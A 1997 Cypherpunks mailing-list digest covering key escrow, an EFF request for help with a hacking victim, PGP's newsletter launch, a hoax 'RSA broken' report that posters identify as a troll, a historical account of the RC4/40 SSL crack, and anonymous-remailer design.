> > 	(or whatever) and escrow keys with the FBI/CIA/etc.?"
> 
> There doesn't need to be such a law.  

So we agree. :)

> [...]
> > 	Sure, hence the old "When encryption is outlawed only outlaws will
> > 	encrypt" slogan.  Why do we need laws to state what a company is
> > 	allowed to encrypt or not encrypt?  And why must those state
> > 	what cypher, bit lengths, and methods they must use?  And that they
> > 	must be escrowed in a certain way?
> 
> How about a law that stated that all RSA keys used for digital 
> signature must be at least 4096 bits in length before they will be 
> accepted as legally binding?  Would that be a good law or a bad law?

It would be cool by me to impose a minimum provided that the current state of
hardware could process such keys without too much of a delay factor, but not
a maximum.  If I am sick enough to want a 16384 bit RSA key, why force me to
use something lesser?

But within a company, were I insistent enough for whatever reason to use 
384 bit RSA keys, as weak as they are and that was my company's policy I 
should be able to allow it.  (Just as employers can read email if you 
expect that you have no privacy on the company email system.)

> > 	Where I work, we keep in "escrow" a key database (on index cards)
> > 	with all the passwords for all the machines.  Also in that fire
> > 	proof safe live all the backups.  
> 
> Funny, we do exactly the same thing.  Except once a year or so 
> complete backups are carted off to the desert, and stored 
> forever. 

Ours is a bit more paranoid.  We offsite a tape on the 15th and last day 
of every month.  Every few months we burn a pair of CD's of the important 
stuff, keep one in the local safe, one offsite.

> > Yeah, and likely you should change your underwear since it is soaked in 
> > it. :)
> 
> Over the years I've developed an asbestos butt.

It helps (looking at my own flame resistant shorts...)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder at sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.









From gnu at toad.com  Mon Mar 31 11:46:40 1997
From: gnu at toad.com (John Gilmore)
Date: Mon, 31 Mar 1997 11:46:40 -0800 (PST)
Subject: Looking for a c'punk volunteer in the East Bay
Message-ID: <199703311946.LAA02543@toad.com>


Date: Fri, 21 Mar 1997 17:54:11 -0800 (PST)
From: Dennis Derryberry <dennis at eff.org>
To: gnu at toad.com

John - do Cypherpunks like to play superhero and help people who are being
hacked? A woman called who says someone had rboken into her system
reprogrammed certain controls causing her to be instantly trackable
whenever she logged in, no matter what account she used, no matter
from where, etc.

She says it happens *every* time.

Law enforcement is baffled and has no advice (surprise, surprise).

She said the FBI even recommended she hire a hacker to play along with the
culprit and see if they couldn't catch him that way.

So, if you or anyone you know is interested in a weekend sporting
event, you can reach Debra Wellman at the home of her mother 510 855 9744

I spoke with her on the phone. She is not crazy, just frustrated.

	Dennis
--
Dennis Derryberry
Executive Administrator
Electronic Frontier Foundation
Web:	http://www.eff.org
tel:	415 436 9333 x104
fax:	415 436 9993
email:	dennis at eff.org





From toto at sk.sympatico.ca  Mon Mar 31 11:46:43 1997
From: toto at sk.sympatico.ca (Toto)
Date: Mon, 31 Mar 1997 11:46:43 -0800 (PST)
Subject: The Blessing of Keys
In-Reply-To: <199703311723.JAA25672@crypt.hfinney.com>
Message-ID: <33401488.14C5@sk.sympatico.ca>


Hal Finney wrote:
 
> I don't know about Tim's idea of claiming that a key signature is a
> religious act.  That sounds pretty bizarre to me.

  I wouldn't be so certain about that. Give the CypherPunks history of
treating PGP as a Holy Icon, I think a good case could be made for 
building a religion around key signatures.

  Apparently, however, not all CypherPunks can be considered 'True
Believers'. I, among others, checked out the information in the 
anonymous post which indicated press reports of the RSA algorithm
being broken.
  I suppose that now I will be denied the opportunity to partake of the
PGP Sacrament at the next CypherMass.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From frissell at panix.com  Mon Mar 31 12:45:41 1997
From: frissell at panix.com (Duncan Frissell)
Date: Mon, 31 Mar 1997 12:45:41 -0800 (PST)
Subject: PRESS REPORT - IMPORTANT?????
In-Reply-To: <199703310825.KAA13268@spoof.bart.nl>
Message-ID: <3.0.1.32.19970331154851.00781540@panix.com>


At 11:05 AM 3/31/97 -0500, Ray Arachelian wrote:
>Is this for real or a troll???
>

It's not in *my* copy of the Sunday Times.  Sounds like the Russkies haver
broken RSA" trolls we've seen before.  It's a 'Ripov'.

DCF







From camcc at abraxis.com  Mon Mar 31 13:32:42 1997
From: camcc at abraxis.com (Alec)
Date: Mon, 31 Mar 1997 13:32:42 -0800 (PST)
Subject: The Zimmermann Telegram
Message-ID: <3.0.1.32.19970331163225.007c57f0@smtp1.abraxis.com>


>Date: Mon, 31 Mar 1997 11:59:49 -0800
>To: telegram-request at pgp.com
>From: Dave Del Torto <ddt at pgp.com>
>Subject: The Zimmermann Telegram
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>
>Ladies, Gentlemen & Cryptographers,
>
>I'm pleased to announce the imminent release of the premier issue of the
>new "Zimmermann Telegram" newsletter. The Zimmermann Telegram will be a
>regularly-published, paper-based, English-language technical update
>newsletter from PGP's engineering staff, and will cover a variety of
>cryptographic and other lighthearted topics which we may otherwise be
>restricted from discussing via electronic media. The newsletter will be
>sent, in compliance with US law, by regular postal mail to anyone
>interested in technical information about PGP -- anywhere in the world.
>
>If you are now developing PGP-related freeware, shareware, commercial or
>academic cryptographic software, or you plan in future to become a
>registered PGP Developer or PGP World Partner (those programs are currently
>under construction and will be formally announced later) or if you are just
>interested in technical information about cryptography, we think you'll
>enjoy reading our newsletter.
>
>In the premier issue, along with important updates regarding changes to the
>PGP packet format, CRC security problems and new extensions to the PGP key
>format which are not available through any other medium, you'll learn about
>the significance of the "Zimmermann Telegram" name. Meanwhile, visit this
>page: <http://www.nara.gov/nara/digital/teaching/zimmermann/zimmerma.html>.
>
>Scheduled to be mailed imminently, the premier issue will be sent free to
>anyone who provides us with a postal mail address. After that, regular
>subscriptions will require a modest fee (to be announced) to cover our
>mailing costs, but we've committed to offering a limited number of free
>one-year subscriptions to interested members of the cryptography community.
>To request your free subscription, please send email to me at:
>
><mailto:telegram-request at pgp.com?subject=first_issue_free_subscription_req>
>
>In the body of your request, please include the form below (items between
>the cut-lines ONLY, and preferably PGP-signed), and replace the lines with
>your complete postal mail address info as indicated. We'll put an HTML
>subscription form on our website, but for the premier issue, we're managing
>the subscription process via email. Thank you for your patience as we
>deploy rapidly. :)
>
>............................. form begins here .............................
>The Zimmermann Telegram
>PGP's Technical Newsletter
>
>           - Premier Issue & One-Year Free Subscription Request -
>
>Subscription Information (Premier Issue):
>
> name                 (optional, but appreciated)
> title                (optional)
> organization/dept    (optional, as appropriate)
> street address
> mailstop             (optional)
> city/state/province
> zip-/postal-code
> country
>
>Free Subscription Category: (please [x] only one)
>
> [ ] academic
> [ ] public library
> [ ] media maven
> [ ] human-rights/privacy activist
> [ ] corporate security
> [ ] impoverished cypherpunk
> [ ] software analyst
> [ ] law enforcement
> [ ] freedom-fighter
> [ ] intelligence agency
> [ ] freeware developer
>
>.............................. form ends here ..............................
>
>Privacy Lock: If you are concerned about the privacy of your personal
>information when sent over unsecured public networks, please feel free to
>encrypt your subscription request to my key, which can be found at:
><http://swissnet.ai.mit.edu:11371/pks/lookup?op=index&search=0x4AAF00E5>.
>Pretty Good Privacy Inc will take all reasonable precautions to protect
>this information and will not use it for any other purpose without first
>asking your permission. Also, PGP will not sell or give the information to
>another entity and will store the list securely between mailings.
>
>Please feel free to circulate/forward this message (with PGP-signature)
>among your friends and colleagues (remember: the free subscription offer
>expires on 30 April 1997). We look forward to your comments on The
>Zimmermann Telegram and thank you for your continued support of PGP.
>
>
>   dave
>
>_________________________________________________________________________
>Dave Del Torto                                       +1.415.524.6231  tel
>Senior Technical Evangelist                          +1.415.572.1932  fax
>Pretty Good Privacy, Inc.                         http://www.pgp.com  web
>                                                        X-PGP header  key
>
>
>........................ "The Zimmermann Telegram" ........................
>Copyright � 1997 Pretty Good Privacy, Inc. All Rights Reserved. PGP and
>Pretty Good Privacy are registered trademarks of Pretty Good Privacy, Inc.
>Permission is granted to the reader to reproduce and distribute exact
>copies of this document, in physical or electronic form, on a
>non-commercial basis (i.e., at no direct or indirect charge). This document
>has been made available in hard copy on a subscription basis and is
>available in public libraries in the United States. Accordingly, and solely
>for purposes of U.S. Export Control laws and regulations (but not copyright
>or other intellectual property laws), this document is considered in the
>"public domain." The information in this document is of an exploratory or
>experimental nature. As such, it is subject to change without notice and is
>provided "AS IS." No guarantee is made that it is free of errors or that it
>will meet your requirements. While we welcome your feedback on this
>document, we are unable to provide any technical support for its contents.
>...........................................................................




From ichudov at algebra.com  Mon Mar 31 15:24:38 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 31 Mar 1997 15:24:38 -0800 (PST)
Subject: Looking for a c'punk volunteer in the East Bay
In-Reply-To: <199703311946.LAA02543@toad.com>
Message-ID: <199703312323.RAA25498@manifold.algebra.com>


she has to pay real $$ for this job.

igor

John Gilmore wrote:
> 
> Date: Fri, 21 Mar 1997 17:54:11 -0800 (PST)
> From: Dennis Derryberry <dennis at eff.org>
> To: gnu at toad.com
> 
> John - do Cypherpunks like to play superhero and help people who are being
> hacked? A woman called who says someone had rboken into her system
> reprogrammed certain controls causing her to be instantly trackable
> whenever she logged in, no matter what account she used, no matter
> from where, etc.
> 
> She says it happens *every* time.
> 
> Law enforcement is baffled and has no advice (surprise, surprise).
> 
> She said the FBI even recommended she hire a hacker to play along with the
> culprit and see if they couldn't catch him that way.
> 
> So, if you or anyone you know is interested in a weekend sporting
> event, you can reach Debra Wellman at the home of her mother 510 855 9744
> 
> I spoke with her on the phone. She is not crazy, just frustrated.
> 
> 	Dennis
> --
> Dennis Derryberry
> Executive Administrator
> Electronic Frontier Foundation
> Web:	http://www.eff.org
> tel:	415 436 9333 x104
> fax:	415 436 9993
> email:	dennis at eff.org
> 



	- Igor.





From gnu at toad.com  Mon Mar 31 16:28:04 1997
From: gnu at toad.com (John Gilmore)
Date: Mon, 31 Mar 1997 16:28:04 -0800 (PST)
Subject: Bank for International Settlement (BIS) report on bitbux
Message-ID: <199704010028.QAA07461@toad.com>


From: Pete Yeatrakas <pyeatrakas at wespay.org>

For those of you interested in security of electronic money, you may
want to browse the Bank on International Settlement (BIS) page and read
a report issued in 1996.  BIS is the organization of G-10 central banks
(e.g., in the US, Federal Reserve Bank Board) who meet to discuss
international payments issues.  The excerpt below is the first paragraph
from http://www.bis.org/publ/cpss18.htm announcing the study of
"security of electronic money," available in pdf format. 

BIS 1996 annual report (http://www.bis.org/publ/cpss19.htm) also
provides detailed information about each country's payment system
(currency in circulation, number of ATMs and financial
institutions/branches, GDP, population - 1990 through 1995) and
concludes with a comparative analysis of those countries (with currency
compared in US dollars).  This is a valuable resource for the student of
European and US payment systems.
 (BIS home page is http://www.bis.org )
Best Regards,
Peter Yeatrakas


"Committee on Payment and Settlement Systems 
SECURITY OF ELECTRONIC MONEY
FOREWORD
In November 1995, the central bank Governors of the Group of Ten (G-10)
countries commissioned a series of studies on specific issues related to
electronic money, in view of the potential importance of this new form
of money and its implications for monetary policy, consumer protection
and payment systems. These studies were carried out by the Committee on
Payment and Settlement Systems (CPSS). For the examination of the
security aspects of electronic money schemes the CPSS sought the
assistance of the Group of Computer Experts, which established for
that purpose the Task Force on Security of Electronic Money, chaired by
Mr. Israel Sendrovic from the Federal Reserve Bank of New York. At their
meeting in July 1996 the G-10 Governors discussed the various reports
that had been commissioned and agreed on the publication of the
present report on Security of Electronic Money. The report is not
necessarily intended to represent the official views of the Governors."





From se7en at dis.org  Mon Mar 31 16:49:23 1997
From: se7en at dis.org (Evil se7en)
Date: Mon, 31 Mar 1997 16:49:23 -0800 (PST)
Subject: Opportunity
Message-ID: <Pine.BSI.3.91.970331164605.13358F-100000@kizmiaz.dis.org>



I need to find someone, preferably living in the Midwest, Great Lakes or 
Northeast part of the country, who knows the JAVA programming language. 
I am giving a two-day introductory course to the language next month in 
Cleveland. I will teach the first day, leaving someone to pick up the 
second day. You would be paid a fee plus all expenses.

Please reply privately off list.

se7en





From se7en at dis.org  Mon Mar 31 16:55:29 1997
From: se7en at dis.org (Evil se7en)
Date: Mon, 31 Mar 1997 16:55:29 -0800 (PST)
Subject: Opportunity
In-Reply-To: <Pine.BSI.3.91.970331164605.13358F-100000@kizmiaz.dis.org>
Message-ID: <Pine.BSI.3.91.970331165416.13358J-100000@kizmiaz.dis.org>




On Mon, 31 Mar 1997, Evil se7en wrote:

> I need to find someone, preferably living in the Midwest, Great Lakes or 
> Northeast part of the country, who knows the JAVA programming language. 
> I am giving a two-day introductory course to the language next month in 
> Cleveland. I will teach the first day, leaving someone to pick up the 
> second day. You would be paid a fee plus all expenses.

Uh, just posted this, and now I also need someone who can teach Windows 
NT 4.0 from a security standpoint. Same deal as above. Reply as list.

se7en





From ichudov at algebra.com  Mon Mar 31 17:12:26 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Mon, 31 Mar 1997 17:12:26 -0800 (PST)
Subject: Bank for International Settlement (BIS) report on bitbux
In-Reply-To: <199704010028.QAA07461@toad.com>
Message-ID: <199704010109.TAA26571@manifold.algebra.com>


John Gilmore wrote:
> For the examination of the
> security aspects of electronic money schemes the CPSS sought the
> assistance of the Group of Computer Experts

Long live CPSS!

	- Igor.





From bubba at dev.null  Mon Mar 31 19:18:43 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Mon, 31 Mar 1997 19:18:43 -0800 (PST)
Subject: WebWorld 23
Message-ID: <33407EA8.320@dev.null>

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From dlv at bwalk.dm.com  Mon Mar 31 20:00:29 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 31 Mar 1997 20:00:29 -0800 (PST)
Subject: PRESS REPORT - IMPORTANT?????
In-Reply-To: <v03007800af65a21b1ec9@[207.167.93.63]>
Message-ID: <Peqg5D18w165w@bwalk.dm.com>


"Timothy C. May" <tcmay at got.net> writes:

> At 11:05 AM -0500 3/31/97, Ray Arachelian wrote:
> >Is this for real or a troll???
> >
> >On Mon, 31 Mar 1997, Anonymous wrote:
> >
>
> >> >"Leading researcher Ari Lenstra last night announced major
> >> >progress had been made towards a solution to the factoring
> >> >problem, a result obtained by Sergei Ripov, researcher at
> >> >an obscure university in the former Soviet union, shows
> >> >conclusively that there exists a solution to the problem
> >> >that is of polynomial time complexity, although this solution
> >> >has yet to be found this signals the beginning of the end for
> ...
>
> It sure does resemble my "Russian Factoring Breakthrough" post of several
> years ago (April 1st, 1994, if I remember the year correctly).
>
> I had the same format: a reporter in Moscow, a press release, a secret
> Russian research facility, and a breakthrough in factoring....

Actually, Timmy's was funnier.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From stewarts at ix.netcom.com  Mon Mar 31 20:15:11 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 31 Mar 1997 20:15:11 -0800 (PST)
Subject: [NTSEC] Re: Internet Explorer Bug #4 (fwd)
In-Reply-To: <Pine.SUN.3.91.970331111923.18046H-100000@beast.brainlink.com>
Message-ID: <3.0.1.32.19970331201125.0064f4f8@popd.ix.netcom.com>


At 11:19 AM 3/31/97 -0500, Ray Arachelian forwarded:
>---------- Forwarded message ----------
>Date: Sat, 29 Mar 1997 14:37:43 -0800
>From: Chris Plunkett <chris.plunkett at opensys.com>
>To: pmarc at cmg.FCNBD.COM
>Cc: Romulo Moacyr Cholewa <rmcholewa at poboxes.com>,
>    Windows NT BugTraq Mailing List <NTBUGTRAQ at rc.on.ca>,
>    "ntsecurity at iss.net" <ntsecurity at iss.net>, hughtay at microsoft.com
>Subject: Re: [NTSEC] Re: Internet Explorer Bug #4

	[Amusing story deleted "486 with 'YMP' sticker on it]
>I heard a story one time.  It evolved around a college student in
>France doing some cyptography work in school,  working nights 
>as a backup operator at some large computer center.  He didn't need
>a cray.   A little knowledge and some creative programming,  and 
>a center full of computers (problably around the size of a Sparc 10).
>The story ended explaning how one of the encryption schemes that 
>would tale a Cray week to break,  was broken in one night,  by a 
>bunch of computers running backups.

This is almost certainly the RC4/40 crack in August 1995 by
Damien Doligez in response to Hal Finney's challenge.
It had actually been broken a few hours earlier by an
English (Anglo-American?) team using a coordinated
Internet attack, but Damien noticed his success before
they noticed theirs.  Much noise was made in the press by
various people about "Using $10,000 worth of supercomputer time",
but in fact the antique KSR-1 contributed far less crunching than
the bunch of DEC Alpha workstations, and the amount of money
per crack (if you'd been renting computer time) would have been
far less.  Subsequent cracks were run by the Internet team,
which ran even faster, once they were organized.
Various Cypherpunks were quoted in the press talking about
how the US export laws were bogus, and how the maximum-strength
crypto allowed by US law could be broken by a grad student over
a weekend.

Since then, there have been other cracks - the RC5/40 crack by
Ian Goldberg took 3.5 hours on a Network of Workstations at Berkeley,
winning the RSA challenge a few minutes before Germano Caronni's
distributed Internet team, which subsequently broke the RC5/48 challenge.
It's been popular in the press to refer to these talented researchers as
"a grad student" when trying to make the point that "anybody could
break this wimpy stuff" or as "a university research team with a 
room full of expensive supercomputers" when trying to pretend
the export limits are reasonable for the real world.

The news article below is from "NB", presumably "NewsBytes",
and was posted without permission to the cypherpunks list
by an anonymous remailer user.
======================================================
Date: Sat, 19 Aug 1995 00:01:18 +0200
Subject: WhiSSLing in the Dark 
To: cypherpunks at toad.com
From: nobody at REPLAY.COM (Anonymous)

Netscape Encrypted Data Cracked

Tokyo, Japan, Aug. 18 (NB) -- Two computer users have
managed to break Netscape's Secure Sockets Layer (SSL)
encryption code in response to a challenge posted to the
Internet. But far from scaring people away from using the
system for online purchases, the results could reassure
people of the safety.

In mid July Hal Finney, a US computer user, posted data
in an Internet message that he recorded when he sent an
order, containing a fake name and credit card details, to
Netscape's own computer. Setting a task for the hacking
community, he wrote, "The challenge is to break the
encryption and recover the name and address info I
entered in the form and sent securely to Netscape."

Early this week, news came from Damien Doligez, a French
computer user, that he had cracked the code and revealed
the contents of the message. Several hours later a
message from an American team also claimed the same feat,
actually cracking it two hours earlier than Doligez.

While the results look damaging on the surface, Netscape,
and Doligez, pointed out the amount of computer
processing power needed to hack just one message and the
difficulty in repeating the process.

Roseanne Siino of Netscape told Newsbytes, "The real
issue is whether this compromises security on the net. He
used 120 computers for 8 days just to crack one message."
Siino points out that to break into another message would
require another eight days at the same 120 workstations
and 2 parallel computers.

In home computer terms, Doligez guesses a network of
about 80 Intel Pentium-based machines would be equivalent
to the system he had access to via his workplace, INRIA
in Paris, and computers an Ecole Polytechnique and ENS.

Netscape estimates the total cost of this computing time
at around $10,000, meaning there are many more economical
ways of getting credit cards numbers than hacking into
Netscape SSL messages.

Doligez agrees, writing on his home page: "The technical
implications are almost zero. Everybody who understands
the technical details knew perfectly well that this was
do-able and even easy. You have to understand what
happened exactly. I did not break SSL itself. I did only
break one SSL session that used the weakest algorithm
available in SSL. If I want to break another session, it
will cost another 8 days of all my machines."
The vulnerability of the encryption system is shown by
its international use. The coding system available via
Netscape software from the Internet makes use of a 40-bit
encryption key. A stronger version, using a 128-bit key,
is available to US citizens but restricted from export
outside the United States by government regulations.

Netscape's Siino explained the US government allows
export of the lower security version "because they can
break it."

There are some hopes that this demonstration will help
persuade the US government to lift export restrictions on
some harder-to-crack versions of the code.

Netscape is currently developing a new Secure Courier
code which just encrypts the financial data in the
messages using 56-bit keys. Siino explained, "You can
export over 40-bit keys for a specific application." The
new system should be available early next year.

Many companies working on secure transaction systems hope
the much more secure 128-bit code version of the system
will be available for export eventually. This is said to
be almost unbreakable, requiring a trillion times more
processing power to crack than the 40-bit version.

Internet users can view a copy of the original challenge,
access Doligez's home page with details of his result,
get copies of the program used to crack the code and read
Netscape's response to the news through a special section
at Netscape,

http://home.netscape.com/newsref/std/key_challenge.html

Press contacts : Roseanne Siino, Netscape,
+1-415-528-2619 , Internet email roseanne at netscape.com;
Damien Doligez, Internet email damien.doligez at inria.fr ;
Hal Finney, Internet email hfinney at shell.portal.com)

=========================================================================




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From rah at shipwright.com  Mon Mar 31 20:39:11 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Mon, 31 Mar 1997 20:39:11 -0800 (PST)
Subject: Of interest, perhaps
Message-ID: <v03020907af663d7e1612@[139.167.130.247]>



--- begin forwarded text


X-Sender: ace at adelie.tidbits.com
Mime-Version: 1.0
Date: Mon, 31 Mar 1997 16:42:16 -0800
To: Robert Hettinga <rah at shipwright.com>
From: "Adam C. Engst" <ace at tidbits.com>
Subject: Of interest, perhaps

What do amber, beads, drums, eggs, feathers, leather, and oxen all
have in common with the aforementioned shiny things? That's right!
They've all been used at one time or another as money. (The oxen were
hell on ATMs, but that's another story.) So, if you're feeling a
little down in the wallet around tax time, circulate on over to the
History of Money. The site, derived from a book of the same name,
takes an in-depth look at where "wampum" has been and where it's
going, from ancient times to the present day. Especially interesting
is the chronology, giving the low down on loot from 9000 BC to
2002. That's well over a hundred years, according to our accountant.
(Please note that not once did we say, "Show me the money!" See Jerry
Maguire for more on this.)

	http://www.ex.ac.uk/~RDavies/arian/llyfr.html


--
Adam C. Engst, TidBITS Editor -- ace at tidbits.com -- info at tidbits.com
                                 -----------------------------------
  Answers to some common questions via email at faq-adam at tidbits.com
            or via the Web at <http://www.tidbits.com/adam/FAQ.html>
       Internet Starter Kit for Macintosh, 4th Edition now available
                                      <http://www.tidbits.com/iskm/>

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/








From stewarts at ix.netcom.com  Mon Mar 31 22:57:29 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 31 Mar 1997 22:57:29 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <199703281917.TAA03495@server.test.net>
Message-ID: <3.0.1.32.19970331225622.00633a98@popd.ix.netcom.com>


At 06:46 PM 3/28/97 EST, Dimitri wrote:
>That's a good idea, but it'll take up a lot of disk space at the
>machine running the remailer.  Right now, remailers that provide
>latency don't keep an e-mail for more than about 12 hours. Once
>you start keeping them around for a few days (a reasonable grace
>period for a first-time user), it's a lot more disk space.

Typical remailers carry maybe 100-500 messages/day;
typical messages run 1-20KB unless they're pictures or warez.
	(Yes, I'm making these numbers up....)
That's about 1-10MB/day of traffic.  If you keep it 7 days,
that's up to 70 MB storage, which you'd probably keep in /tmp
to avoid backups and maybe avoid disk quotas.
If you're running it on your own desktop machine, that's small;
it's a bit large for a laptop, and whether it's reasonable for an
ISP shell account depends a lot on your ISP's policies and disk quotas
(and /tmp clearing policies.)

>Suppose a LEA wants to search the computer hosting the remailer.
>They come across a bunch of encrypted files.
>The operator has to convince the LEA that they don't have the means
>to decrypt the e-mails or even to figure out who they're from.
>That just may be close to contempt of court. 

But you don't have to explain it to the LEA - you may have to
explain it to a court, but you get to bring along a lawyer.
It's not contempt if you're telling the truth (that you can't decrypt it.)

On the other hand, if you're using a two-part key (one sent to the
recipient, one kept in transient memory on your machine plus in your head),
you _do_ get to explain to the judge why you're refusing to testify,
and why the ECPA protects the privacy of all the messages that
may be revealed if you release your half of the key,
and why you need sworn testimony from the LEAs about exactly which
messages they've eavesdropped besides the ones addressed to their target,
and about why giving them the key would violate the privacy of
the recipients of those other messages so they can't have it,
but you also refuse to decrypt the ones for the victim yourself,
at least without a direct court order (as opposed to a mere warrant) -
_then_ you'll have the opportunity to get close to contempt of court :-)

>Say, you might be asked to 
>explain how you generate the "random" keys so they can be recreated.

If the "random" key includes a part you know as well as a part
the user knows, and the user's part not only includes a hash of
the message (so you need to know the contents of the message to
recreate the session key) but also the usual things like the
system clock to the microsecond and the contents of the rand pool,
and maybe a few hits from /dev/random - then it's perfectly fine
to tell them.

>IMO, the 'net has changed from what it used to be a few years ago.
>One can no longer send e-mail to an unknown recipient and hope that
>they're willing to accept anonymous e-mail. 
I'd agree, but from the first anonymous remailers open to the public
there were people who didn't like receiving anonymous mail :-)

>unless the remailer knows that the recipient took some positive
>action to indicate that s/he has a clue (such as, added a key to a
>keyserver), their anon mail should be immediately discarded and
>they should instead get a note:

That's an interesting approach - a bit extreme, but the main cypherpunks
applications for anonymous remailers are things like whistleblowing
(which can be posted to the net or emailed to people like Foo Inspectors
who _ought_ to be willing to accept anonymous mail) and potential
co-conspirators (who _ought_ to be willing to accept it if they're
interested in co-conspiring), and of course yourself under various aliases.

>> > Right now, there's a very large number of addresses in the key servers.
>> > Instantly making them into a list of addresses that accept anon mail
>> > will make it hard (hopefully infeasible) for the LEAs to investigate
>> > everyone willing to accept anon e-mail as a suspect in sending it.

A nice touch.

>> To solve this problem you need to do a ping message, "please reply
>> with this nonce to be blocked".
Yep.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Mon Mar 31 23:38:19 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Mon, 31 Mar 1997 23:38:19 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <3.0.32.19970330132722.006f1bdc@netcom9.netcom.com>
Message-ID: <3.0.1.32.19970331233242.00633a98@popd.ix.netcom.com>


At 01:40 PM 3/30/97 -0800, Lucky Green <shamrock at netcom.com> wrote:
>Reply blocks are unreliable anyway. 
Yeah, but they're a moderately useful kluge in that they
let you separate the information about how to find an anonymous recipient
into at least two places, which is far more secure than just one.
They're relatively annoying to use, but the nymserver approach
makes it possible to use them without the average user messing
with the details.

>The current piggy backing of recipient anonymity
>on systems designed to provide sender anonymity can not work reliably and
>must therefore be replaced by a separate design.

Is this a distributed-commercial-remailer-boxes approach, 
or something different?  It's a hard problem to do right.

In a large-scale system, one good design is to have a Pipenet
or equivalent that's used to pick up POP-mail.  It needs enough
traffic/users/bandwidth to achieve Obscurity, but if you could
convince people to carry their Usenet feeds as cover traffic,
that'd be more than enough :-)  Store-and-forward variants are
less reliable, but may do a good enough job, or I suppose you
could cook up some sort of distributed message pools.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)